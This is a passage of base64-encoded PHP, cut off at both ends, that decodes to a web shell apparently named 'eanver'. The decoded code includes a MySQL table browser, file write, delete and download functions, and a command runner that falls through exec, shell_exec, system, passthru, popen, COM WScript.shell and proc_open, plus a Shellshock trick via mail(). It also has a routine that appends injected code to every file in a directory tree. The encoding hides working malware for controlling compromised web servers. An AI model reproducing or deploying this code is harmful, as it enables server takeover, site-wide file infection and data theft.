xjaGFycyhNeXNxbF9MZW4oJHRleHRbJHJvd10sNTAwKSkpLic8L3RkPic7fQoJCQkJCQllY2hvICc8L3RyPicuIlxyXG4iOyR2Kys7CgkJCQkJfQoJCQkJCWVjaG8gJzwvdGFibGU+PGRpdiBjbGFzcz0iYWN0YWxsIj4nOwogICAgICAgICAgICAgICAgICAgICRwYWdlcD0kcGFnZS0xOwogICAgICAgICAgICAgICAgICAgICRwYWdlbj0kcGFnZSsxOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIuWFseaciSAiLiRyb3dfbnVtLiIg5p2h6K6w5b2VICI7CiAgICAgICAgICAgICAgICAgICAgaWYoJHBhZ2VwPjApICRwYWdlbmF2Lj0iICA8YSBocmVmPSc/ZWFudmVyPW15c3FsX21zZyZkYj0iLiRfR0VUWydkYiddLiImdGFibGU9Ii4kX0dFVFsndGFibGUnXS4iJnA9MSZjaGFyc2V0PSIuJF9HRVRbJ2NoYXJzZXQnXS4iJz7pppbpobU8L2E+IDxhIGhyZWY9Jz9lYW52ZXI9bXlzcWxfbXNnJmRiPSIuJF9HRVRbJ2RiJ10uIiZ0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiImcD0iLiRwYWdlcC4iJmNoYXJzZXQ9Ii4kX0dFVFsnY2hhcnNldCddLiInPuS4iuS4gOmhtTwvYT4gIjsgZWxzZSAkcGFnZW5hdi49IiDkuIrkuIDpobUgIjsKICAgICAgICAgICAgICAgICAgICBpZigkcGFnZW48PSRwYWdlcykgJHBhZ2VuYXYuPSIgPGEgaHJlZj0nP2VhbnZlcj1teXNxbF9tc2cmZGI9Ii4kX0dFVFsnZGInXS4iJnRhYmxlPSIuJF9HRVRbJ3RhYmxlJ10uIiZwPSIuJHBhZ2VuLiImY2hhcnNldD0iLiRfR0VUWydjaGFyc2V0J10uIic+5LiL5LiA6aG1PC9hPiA8YSBocmVmPSc/ZWFudmVyPW15c3FsX21zZyZkYj0iLiRfR0VUWydkYiddLiImdGFibGU9Ii4kX0dFVFsndGFibGUnXS4iJnA9Ii4kcGFnZXMuIiZjaGFyc2V0PSIuJF9HRVRbJ2NoYXJzZXQnXS4iJz7lsL7pobU8L2E+IjsgZWxzZSAkcGFnZW5hdi49IiDkuIvkuIDpobUgIjsKICAgICAgICAgICAgICAgICAgICAkcGFnZW5hdi49IiDnrKwgWyIuJHBhZ2UuIi8iLiRwYWdlcy4iXSDpobUgICDot7PliLA8aW5wdXQgbmFtZT0ndGV4dGZpZWxkJyB0eXBlPSd0ZXh0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBzaXplPSc0JyB2YWx1ZT0nIi4kcGFnZS4iJyBvbmtleWRvd249XCJpZihldmVudC5rZXlDb2RlPT0xMylzZWxmLmxvY2F0aW9uLmhyZWY9Jz9lYW52ZXI9bXlzcWxfbXNnJmRiPSIuJF9HRVRbJ2RiJ10uIiZ0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiImcD0nK3RoaXMudmFsdWUrJyZjaGFyc2V0PSIuJF9HRVRbJ2NoYXJzZXQnXS4iJztcIiAvPumhtSI7CiAgICAgICAgICAgICAgICAgICAgZWNobyAkcGFnZW5hdjsKCQkJCQllY2hvICc8L2Rpdj4nOwoJCQkJfQoJCQl9CgkJCWVsc2VpZihpc3NldCgkX0dFVFsnaW5zZXJ0J10pKQoJCQl7CgkJCQllY2hvICc8YSBocmVmPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsnaW5zZXJ0J10uJyI+Jy4kX0dFVFsnaW5zZXJ0J10uJzwvYT48L2Rpdj4nOwoJCQkJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJF9HRVRbJ2luc2VydCddLCRjb25uKTsKCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQkJZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRfR0VUWydpbnNlcnQnXS4nIj4nOwoJCQkJZm9yKCRpID0gMDskaSA8ICRmaWVsZG51bTskaSsrKQoJCQkJewoJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOwoJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOwoJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsKCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPicuJG5hbWUuJyA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jy4kdHlwZS4nKCcuJGxlbi4nKTwvZm9udD48YnI+PHRleHRhcmVhIG5hbWU9Imluc3FsWycuJG5hbWUuJ10iIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NjBweDsiPjwvdGV4dGFyZWE+PC9kaXY+JzsKCQkJCX0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikluc2VydCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+JzsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSRxdWVyeSA9ICdTSE9XIFRBQkxFIFNUQVRVUyc7CgkJCQkkc3RhdHVzID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7CgkJCQl3aGlsZSgkc3RhdHUgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHN0YXR1cykpCgkJCQl7CgkJCQkJJHN0YXR1c2l6ZVtdID0gJHN0YXR1WydEYXRhX2xlbmd0aCddOwoJCQkJCSRzdGF0dWNvbGxbXSA9ICRzdGF0dVsnQ29sbGF0aW9uJ107CgkJCQl9CgkJCQkkcXVlcnkgPSAnU0hPVyBUQUJMRVMgRlJPTSAnLiRfR0VUWydkYiddLic7JzsKCQkJCWVjaG8gJzwvZGl2Pjx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOwoJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjU1MHB4OyI+IOihqOWQjSA8L3RkPic7CgkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6ODBweDsiPiDmk43kvZwgPC90ZD4nOwoJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjEzMHB4OyI+IOWtl+espumbhiA8L3RkPic7CgkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiPiDlpKflsI8gPC90ZD48L3RyPic7CgkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7CgkJCQkkayA9IDA7CgkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpCgkJCQl7CgkJCQkJJGNoYXJzZXQ9c3Vic3RyKCRzdGF0dWNvbGxbJGtdLDAsc3RycG9zKCRzdGF0dWNvbGxbJGtdLCdfJykpOwoJCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iP2VhbnZlcj1teXNxbF9tc2cmZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJHRhYmxlWzBdLiciPicuJHRhYmxlWzBdLic8L2E+PC90ZD4nOwoJCQkJCWVjaG8gJzx0ZD48YSBocmVmPSI/ZWFudmVyPW15c3FsX21zZyZkYj0nLiRfR0VUWydkYiddLicmaW5zZXJ0PScuJHRhYmxlWzBdLiciPiDmj5LlhaUgPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJycuJHRhYmxlWzBdLidcJyxcJz9lYW52ZXI9bXlzcWxfbXNnJmRiPScuJF9HRVRbJ2RiJ10uJyZkcm9wPScuJHRhYmxlWzBdLidcJyk7cmV0dXJuIGZhbHNlOyI+IOWIoOmZpCA8L2E+PC90ZD4nOwoJCQkJCWVjaG8gJzx0ZD4nLiRzdGF0dWNvbGxbJGtdLic8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPicuRmlsZV9TaXplKCRzdGF0dXNpemVbJGtdKS4nPC90ZD48L3RyPicuIlxyXG4iOwoJCQkJCSRrKys7CgkJCQl9CgkJCQllY2hvICc8L3RhYmxlPic7CgkJCX0KCQl9Cgl9CgllbHNlIGRpZSgn6L+e5o6lTVlTUUzlpLHotKUs6K+36YeN5paw55m76ZmGLjxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7VVJMPT9lYW52ZXI9bXlzcWxfZXhlYyI+Jyk7CglpZighJEJPT0wgYW5kIGFkZHNsYXNoZXMoJHF1ZXJ5KSE9JycpIGVjaG8gJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5kb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ25zcWxcJykudmFsdWUgPSBcJycuYWRkc2xhc2hlcygkcXVlcnkpLidcJzs8L3NjcmlwdD4nOwpicmVhazsKCgkKCWRlZmF1bHQ6IGh0bWxfbWFpbigkcGF0aCwkc2hlbGxuYW1lKTsgYnJlYWs7Cn0KY3NzX2Zvb3QoKTsKCi8qLS0tZG9pbmctLS0qLwoKZnVuY3Rpb24gZG9fd3JpdGUoJGZpbGUsJHQsJHRleHQpCnsKCSRrZXkgPSB0cnVlOwoJJGhhbmRsZSA9IEBmb3BlbigkZmlsZSwkdCk7CglpZighQGZ3cml0ZSgkaGFuZGxlLCR0ZXh0KSkKCXsKCQlAY2htb2QoJGZpbGUsMDY2Nik7CgkJJGtleSA9IEBmd3JpdGUoJGhhbmRsZSwkdGV4dCkgPyB0cnVlIDogZmFsc2U7Cgl9CglAZmNsb3NlKCRoYW5kbGUpOwoJcmV0dXJuICRrZXk7Cn0KCmZ1bmN0aW9uIGRvX3Nob3coJGZpbGVwYXRoKXsKCSRzaG93ID0gYXJyYXkoKTsKCSRkaXIgPSBkaXIoJGZpbGVwYXRoKTsKCXdoaWxlKCRmaWxlID0gJGRpci0+cmVhZCgpKXsKCQlpZigkZmlsZSA9PSAnLicgb3IgJGZpbGUgPT0gJy4uJykgY29udGludWU7CgkJJGZpbGVzID0gc3RyX3BhdGgoJGZpbGVwYXRoLicvJy4kZmlsZSk7CgkJJHNob3dbXSA9ICRmaWxlczsKCX0KCSRkaXItPmNsb3NlKCk7CglyZXR1cm4gJHNob3c7Cn0KCmZ1bmN0aW9uIGRvX2RlbHRyZWUoJGRlbGRpcil7Cgkkc2hvd2ZpbGUgPSBkb19zaG93KCRkZWxkaXIpOwoJZm9yZWFjaCgkc2hvd2ZpbGUgYXMgJGRlbCl7CgkJaWYoaXNfZGlyKCRkZWwpKXsgCgkJCWlmKCFkb19kZWx0cmVlKCRkZWwpKSByZXR1cm4gZmFsc2U7CgkJfWVsc2VpZighaXNfZGlyKCRkZWwpKXsKCQkJQGNobW9kKCRkZWwsMDc3Nyk7CgkJCWlmKCFAdW5saW5rKCRkZWwpKSByZXR1cm4gZmFsc2U7CgkJfQoJfQoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7CglpZighQHJtZGlyKCRkZWxkaXIpKSByZXR1cm4gZmFsc2U7CglyZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gZG9fc2hvd3NxbCgkcXVlcnksJGNvbm4pewoJJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pOwoJaHRtbF9uKCc8YnI+PGJyPjx0ZXh0YXJlYSBjb2xzPSI3MCIgcm93cz0iMTUiPicpOwoJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7CgkJZm9yKCRpPTA7JGkgPCBAbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKXsKCQkJaHRtbF9uKGh0bWxzcGVjaWFsY2hhcnMoJHJvd1skaV0pKTsKCQl9Cgl9CglodG1sX24oJzwvdGV4dGFyZWE+Jyk7Cn0KCmZ1bmN0aW9uIGhtbG9naW4oJHhpYW89MSl7CgppZigkeGlhbz09MSl7ZWNobyAiCjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzU7VVJMPT8nPgoKPGRpdiBhbGlnbj0nY2VudGVyJz48Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nPyc+PGlucHV0IHN0eWxlPSd3aWR0aDoxNDA7aGVpZ2h0OjQwcHg7JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdFbnRlcic+PC9mb3JtPgoKPGJyPgo8YiBzdHlsZT0nY29sb3I6Z3JlZW47Jz5XZWxjb21lIGJhY2sgITwvYj48YnI+CjxiIHN0eWxlPSdjb2xvcjpyZWQ7Jz4oMSk6PC9iPk15IE1hc3RlciwgV2VsY29tZSBUbyBHbyBIb21lICEKPC9kaXY+CiI7fX0KCi8vfQoKZnVuY3Rpb24gZG9fZG93bigkZmQpewoJaWYoIUBmaWxlX2V4aXN0cygkZmQpKSBtc2coJ+S4i+i9veaWh+S7tuS4jeWtmOWcqCcpOwoJJGZpbGVpbmZvID0gcGF0aGluZm8oJGZkKTsKCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcuZmlsZXNpemUoJGZkKSk7CglAcmVhZGZpbGUoJGZkKTsKCWV4aXQ7Cn0KCmZ1bmN0aW9uIGRvX2Rvd25sb2FkKCRmaWxlY29kZSwkZmlsZSl7CgloZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93biIpOwoJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOwoJaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZpbGVjb2RlKSk7CgloZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuJGZpbGUuIjsiKTsKCWVjaG8gJGZpbGVjb2RlOwoJZXhpdDsKfQoKZnVuY3Rpb24gVGVzdFV0ZjgoJHRleHQpCntpZihzdHJsZW4oJHRleHQpIDwgMykgcmV0dXJuIGZhbHNlOwokbGFzdGNoID0gMDsKJGJlZ2luID0gMDsKJEJPTSA9IHRydWU7CiRCT01jaHMgPSBhcnJheSgweEVGLCAweEJCLCAweEJGKTsKJGdvb2QgPSAwOwokYmFkID0gMDsKJG5vdEFzY2lpID0gMDsKZm9yKCRpPTA7ICRpIDwgc3RybGVuKCR0ZXh0KTsgJGkrKykKeyRjaCA9IG9yZCgkdGV4dFskaV0pOwppZigkYmVnaW4gPCAzKQp7ICRCT00gPSAoJEJPTWNoc1skYmVnaW5dPT0kY2gpOwokYmVnaW4gKz0gMTsKY29udGludWU7IH0KaWYoJGJlZ2luPT00ICYmICRCT00pIGJyZWFrOwppZigkY2ggPj0gMHg4MCApICRub3RBc2NpaSsrOwppZiggKCRjaCYweEMwKSA9PSAweDgwICkKe2lmKCAoJGxhc3RjaCYweEMwKSA9PSAweEMwICkKeyRnb29kICs9IDE7fQplbHNlIGlmKCAoJGxhc3RjaCYweDgwKSA9PSAwICkKeyRiYWQgKz0gMTsgfX0KZWxzZSBpZiggKCRsYXN0Y2gmMHhDMCkgPT0gMHhDMCApCnskYmFkICs9IDE7fQokbGFzdGNoID0gJGNoO30KaWYoJGJlZ2luID09IDQgJiYgJEJPTSkKe3JldHVybiAyO30KZWxzZSBpZigkbm90QXNjaWk9PTApCntyZXR1cm4gMTt9CmVsc2UgaWYgKCRnb29kID49ICRiYWQgKQp7cmV0dXJuIDI7fQplbHNlCntyZXR1cm4gMDt9fQoKZnVuY3Rpb24gRmlsZV9TdHIoJHN0cmluZykKewoJcmV0dXJuIHN0cl9yZXBsYWNlKCcvLycsJy8nLHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRzdHJpbmcpKTsKfQoKZnVuY3Rpb24gRmlsZV9Xcml0ZSgkZmlsZW5hbWUsJGZpbGVjb2RlLCRmaWxlbW9kZSkKewoJJGtleSA9IHRydWU7CgkkaGFuZGxlID0gQGZvcGVuKCRmaWxlbmFtZSwkZmlsZW1vZGUpOwoJaWYoIUBmd3JpdGUoJGhhbmRsZSwkZmlsZWNvZGUpKQoJewoJCUBjaG1vZCgkZmlsZW5hbWUsMDY2Nik7CgkJJGtleSA9IEBmd3JpdGUoJGhhbmRsZSwkZmlsZWNvZGUpID8gdHJ1ZSA6IGZhbHNlOwoJfQoJQGZjbG9zZSgkaGFuZGxlKTsKCXJldHVybiAka2V5Owp9CgpmdW5jdGlvbiBFeGVjX1J1bigkY21kKQp7CgkkcmVzID0gJyc7CglpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7QGV4ZWMoJGNtZCwkcmVzKTskcmVzID0gam9pbigiXG4iLCRyZXMpO30KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7JHJlcyA9IEBzaGVsbF9leGVjKCRjbWQpO30KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtAb2Jfc3RhcnQoKTtAc3lzdGVtKCRjbWQpOyRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpO30KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskcmVzID0gQG9iX2dldF9jb250ZW50cygpO0BvYl9lbmRfY2xlYW4oKTt9CgllbHNlaWYoQGlzX3Jlc291cmNlKCRmPUBwb3BlbigkY21kLCdyJykpKXskcmVzID0gJyc7d2hpbGUoIUBmZW9mKCRmKSl7JHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7fUBwY2xvc2UoJGYpO30KCWVsc2VpZihzdWJzdHIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLDAsMSkhPSIvIiYmY2xhc3NfZXhpc3RzKCdDT00nKSl7JHc9bmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOyRlPSR3LT5leGVjKCRjbWQpOyRmPSRlLT5TdGRPdXQoKTskcmVzPSRmLT5SZWFkQWxsKCk7fQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpeyRsZW5ndGggPSBzdHJjc3BuKCRjbWQsIiBcdCIpOyR0b2tlbiA9IHN1YnN0cigkY21kLCAwLCAkbGVuZ3RoKTtpZiAoaXNzZXQoJGFsaWFzZXNbJHRva2VuXSkpJGNtZD0kYWxpYXNlc1skdG9rZW5dLnN1YnN0cigkY21kLCAkbGVuZ3RoKTskcCA9IHByb2Nfb3BlbigkY21kLGFycmF5KDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwkaW8pO3doaWxlICghZmVvZigkaW9bMV0pKSB7JHJlcyAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1sxXSksRU5UX0NPTVBBVCwgJ2diMjMxMicpO313aGlsZSAoIWZlb2YoJGlvWzJdKSkgeyRyZXMgLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLEVOVF9DT01QQVQsICdnYjIzMTInKTt9ZmNsb3NlKCRpb1sxXSk7ZmNsb3NlKCRpb1syXSk7cHJvY19jbG9zZSgkcCk7fQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbWFpbCcpKXtpZihzdHJzdHIocmVhZGxpbmsoIi9iaW4vc2giKSwgImJhc2giKSAhPSBGQUxTRSl7JHRtcCA9IHRlbXBuYW0oIi4iLCJkYXRhIik7cHV0ZW52KCJQSFBfTE9MPSgpIHsgeDsgfTsgJGNtZCA+JHRtcCAyPiYxIik7bWFpbCgiYUAxMjcuMC4wLjEiLCIiLCIiLCIiLCItYnYiKTt9ZWxzZSAkcmVzPSJOb3QgdnVsbiAobm90IGJhc2gpIjskb3V0cHV0ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0bXApO0B1bmxpbmsoJHRtcCk7aWYoJG91dHB1dCAhPSAiIikgJHJlcz0kb3V0cHV0O2Vsc2UgJHJlcz0iTm8gb3V0cHV0LCBvciBub3QgdnVsbi4iO30KCXJldHVybiAkcmVzOwp9CgpmdW5jdGlvbiBGaWxlX01vZGUoKQp7CgkkUmVhbFBhdGggPSByZWFscGF0aCgnLi8nKTsKCSRTZWxmUGF0aCA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwoJJFNlbGZQYXRoID0gc3Vic3RyKCRTZWxmUGF0aCwgMCwgc3RycnBvcygkU2VsZlBhdGgsJy8nKSk7CglyZXR1cm4gRmlsZV9TdHIoc3Vic3RyKCRSZWFsUGF0aCwgMCwgc3RybGVuKCRSZWFsUGF0aCkgLSBzdHJsZW4oJFNlbGZQYXRoKSkpOwp9CgpmdW5jdGlvbiBGaWxlX1NpemUoJHNpemUpCnsgCiAgICAgICAgJGtiID0gMTAyNDsgICAgICAgICAvLyBLaWxvYnl0ZQogICAgICAgICRtYiA9IDEwMjQgKiAka2I7ICAgLy8gTWVnYWJ5dGUKICAgICAgICAkZ2IgPSAxMDI0ICogJG1iOyAgIC8vIEdpZ2FieXRlCiAgICAgICAgJHRiID0gMTAyNCAqICRnYjsgICAvLyBUZXJhYnl0ZQogICAgICAgIGlmKCRzaXplIDwgJGtiKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuICRzaXplLiIgQiI7CiAgICAgICAgfQogICAgICAgIGVsc2UgaWYoJHNpemUgPCAkbWIpCiAgICAgICAgeyAKICAgICAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplLyRrYiwyKS4iIEsiOwogICAgICAgIH0KICAgICAgICBlbHNlIGlmKCRzaXplIDwgJGdiKQogICAgICAgIHsgCiAgICAgICAgICAgIHJldHVybiByb3VuZCgkc2l6ZS8kbWIsMikuIiBNIjsKICAgICAgICB9CiAgICAgICAgZWxzZSBpZigkc2l6ZSA8ICR0YikKICAgICAgICB7IAogICAgICAgICAgICByZXR1cm4gcm91bmQoJHNpemUvJGdiLDIpLiIgRyI7CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7IAogICAgICAgICAgICByZXR1cm4gcm91bmQoJHNpemUvJHRiLDIpLiIgVCI7CiAgICAgICAgfQogfQoKZnVuY3Rpb24gRmlsZV9SZWFkKCRmaWxlbmFtZSkKewoJJGhhbmRsZSA9IEBmb3BlbigkZmlsZW5hbWUsInJiIik7CgkkZmlsZWNvZGUgPSBAZnJlYWQoJGhhbmRsZSxAZmlsZXNpemUoJGZpbGVuYW1lKSk7CglAZmNsb3NlKCRoYW5kbGUpOwoJcmV0dXJuICRmaWxlY29kZTsKfQoKZnVuY3Rpb24gZG9fcGhwZnVuKCRjbWQsJGZ1bikgewoJJHJlcyA9ICcnOwoJc3dpdGNoKCRmdW4pewoJCWNhc2UgImV4ZWMiOiBAZXhlYygkY21kLCRyZXMpOyAkcmVzID0gam9pbigiXG4iLCRyZXMpOyBicmVhazsKCQljYXNlICJzaGVsbF9leGVjIjogJHJlcyA9IEBzaGVsbF9leGVjKCRjbWQpOyBicmVhazsKCQljYXNlICJzeXN0ZW0iOiBAb2Jfc3RhcnQoKTsJQHN5c3RlbSgkY21kKTsgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsJQG9iX2VuZF9jbGVhbigpO2JyZWFrOwoJCWNhc2UgInBhc3N0aHJ1IjogQG9iX3N0YXJ0KCk7CUBwYXNzdGhydSgkY21kKTsgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsJQG9iX2VuZF9jbGVhbigpO2JyZWFrOwoJCWNhc2UgInBvcGVuIjogaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjbWQsInIiKSkpeyB3aGlsZSghQGZlb2YoJGYpKQkkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTt9IEBwY2xvc2UoJGYpO2JyZWFrOwoJfQoJcmV0dXJuICRyZXM7Cn0KCmZ1bmN0aW9uIGRvX3Bhc3NyZXR1cm4oJGRpciwkY29kZSwkdHlwZSwkYm9vbCwkZmlsZXR5cGUgPSAnJywkc2hlbGwgPSBteV9zaGVsbCl7Cgkkc2hvdyA9IGRvX3Nob3coJGRpcik7Cglmb3JlYWNoKCRzaG93IGFzICRmaWxlcyl7CgkJaWYoaXNfZGlyKCRmaWxlcykgJiYgJGJvb2wpewoJCQlkb19wYXNzcmV0dXJuKCRmaWxlcywkY29kZSwkdHlwZSwkYm9vbCwkZmlsZXR5cGUsJHNoZWxsKTsKCQl9ZWxzZXsKCQkJaWYoJGZpbGVzID09ICRzaGVsbCkgY29udGludWU7CgkJCXN3aXRjaCgkdHlwZSl7CgkJCQljYXNlICJndWFtYSI6CgkJCQlpZihkZWJ1ZygkZmlsZXMsJGZpbGV0eXBlKSl7CgkJCQkJZG9fd3JpdGUoJGZpbGVzLCJhYiIsIlxuIi4kY29kZSkgPyBodG1sX24oIuaIkOWKny0tPiAkZmlsZXM8YnI+IikgOiBodG1sX24oIuWksei0pS0tPiAkZmlsZXM8YnI+Iik7CgkJCQl9CgkJCQlicmVhazsKCQkJCWNhc2UgInFpbmdtYSI6CgkJCQkkZmlsZWNvZGUgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGVzKTsKCQkJCWlmKHN0cmlzdHIoJGZpbGVjb2RlLCRjb2RlKSl7CgkJCQkJJG5ld2NvZGUgPSBzdHJfcmVwbGFjZSgkY29kZSwnJywkZmlsZWNvZGUpOwoJCQkJCWRvX3dyaXRlKCRmaWxlcywid2IiLCRuZXdjb2RlKSA/IGh0bWxfbigi5oiQ5YqfLS0+ICRmaWxlczxicj4iKSA6IGh0bWxfbigi5aSx6LSlLS0+ICRmaWxlczxicj4iKTsKCQkJCX0KCQkJCWJyZWFrOwoJCQkJY2FzZSAidGlodWFuIjoKCQkJCSRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOwoJCQkJaWYoc3RyaXN0cigkZmlsZWNvZGUsJGNvZGUpKXsKCQkJCQkkbmV3Y29kZSA9IHN0cl9yZXBsYWNlKCRjb2RlLCRmaWxldHlwZSwkZmlsZWNvZGUpOwoJCQkJCWRvX3dyaXRlKCRmaWxlcywid2IiLCRuZXdjb2RlKSA/IGh0bWxfbigi5oiQ5YqfLS0+ICRmaWxlczxicj4iKSA6IGh0bWxfbigi5aSx6LSlLS0+ICRmaWxlczxicj4iKTsKCQkJCX0KCQkJCWJyZWFrOwoJCQkJY2FzZSAic2NhbmZpbGUiOgoJCQkJJGZpbGUgPSBleHBsb2RlKCcvJywkZmlsZXMpOwoJCQkJaWYoc3RyaXN0cigkZmlsZVtjb3VudCgkZmlsZSktMV0sJGNvZGUpKXsKCQkJCQlodG1sX2EoIj9lYW52ZXI9ZWRpdHImcD0kZmlsZXMiLCRmaWxlcyk7CgkJCQkJZWNobyAnPGJyPic7CgkJCQl9CgkJCQlicmVhazsKCQkJCWNhc2UgInNjYW5jb2RlIjoKCQkJCSRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOwoJCQkJaWYoc3RyaXN0cigkZmlsZWNvZGUsJGNvZGUpKXsKCQkJCQlodG1sX2EoIj9lYW52ZXI9ZWRpdHImcD0kZmlsZXMiLCRmaWxlcyk7CgkJCQkJZWNobyAnPGJyPic7CgkJCQl9CgkJCQlicmVhazsKCQkJCWNhc2UgInNjYW5waHAiOgoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJGZpbGVzKTsKCQkJCWlmKCRmaWxlaW5mb1snZXh0ZW5zaW9uJ10gPT0gJGNvZGUpewoJCQkJCSRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOwoJCQkJCWlmKG11bWEoJGZpbGVjb2RlLCRjb2RlKSl7CgkJCQkJCWh0bWxfYSgiP2VhbnZlcj1lZGl0ciZwPSIudXJsZW5jb2RlKCRmaWxlcyksIue8lui+kSIpOwoJCQkJCQlodG1sX2EoIj9lYW52ZXI9ZGVsJnA9Ii51cmxlbmNvZGUoJGZpbGVzKSwi5Yig6ZmkIik7CgkJCQkJCWVjaG8gJGZpbGVzLic8YnI+JzsKCQkJCQl9CgkJCQl9CgkJCQlicmVhazsKCQkJfQoJCX0KCX0KfQoKCmNsYXNzIFBIUHppcHsKCgl2YXIgJGZpbGVfY291bnQgPSAwIDsKCXZhciAkZGF0YXN0cl9sZW4gICA9IDA7Cgl2YXIgJGRpcnN0cl9sZW4gPSAwOwoJdmFyICRmaWxlZGF0YSA9ICcnOwoJdmFyICRnemZpbGVuYW1lOwoJdmFyICRmcDsKCXZhciAkZGlyc3RyPScnOwoKICAgIGZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7CiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR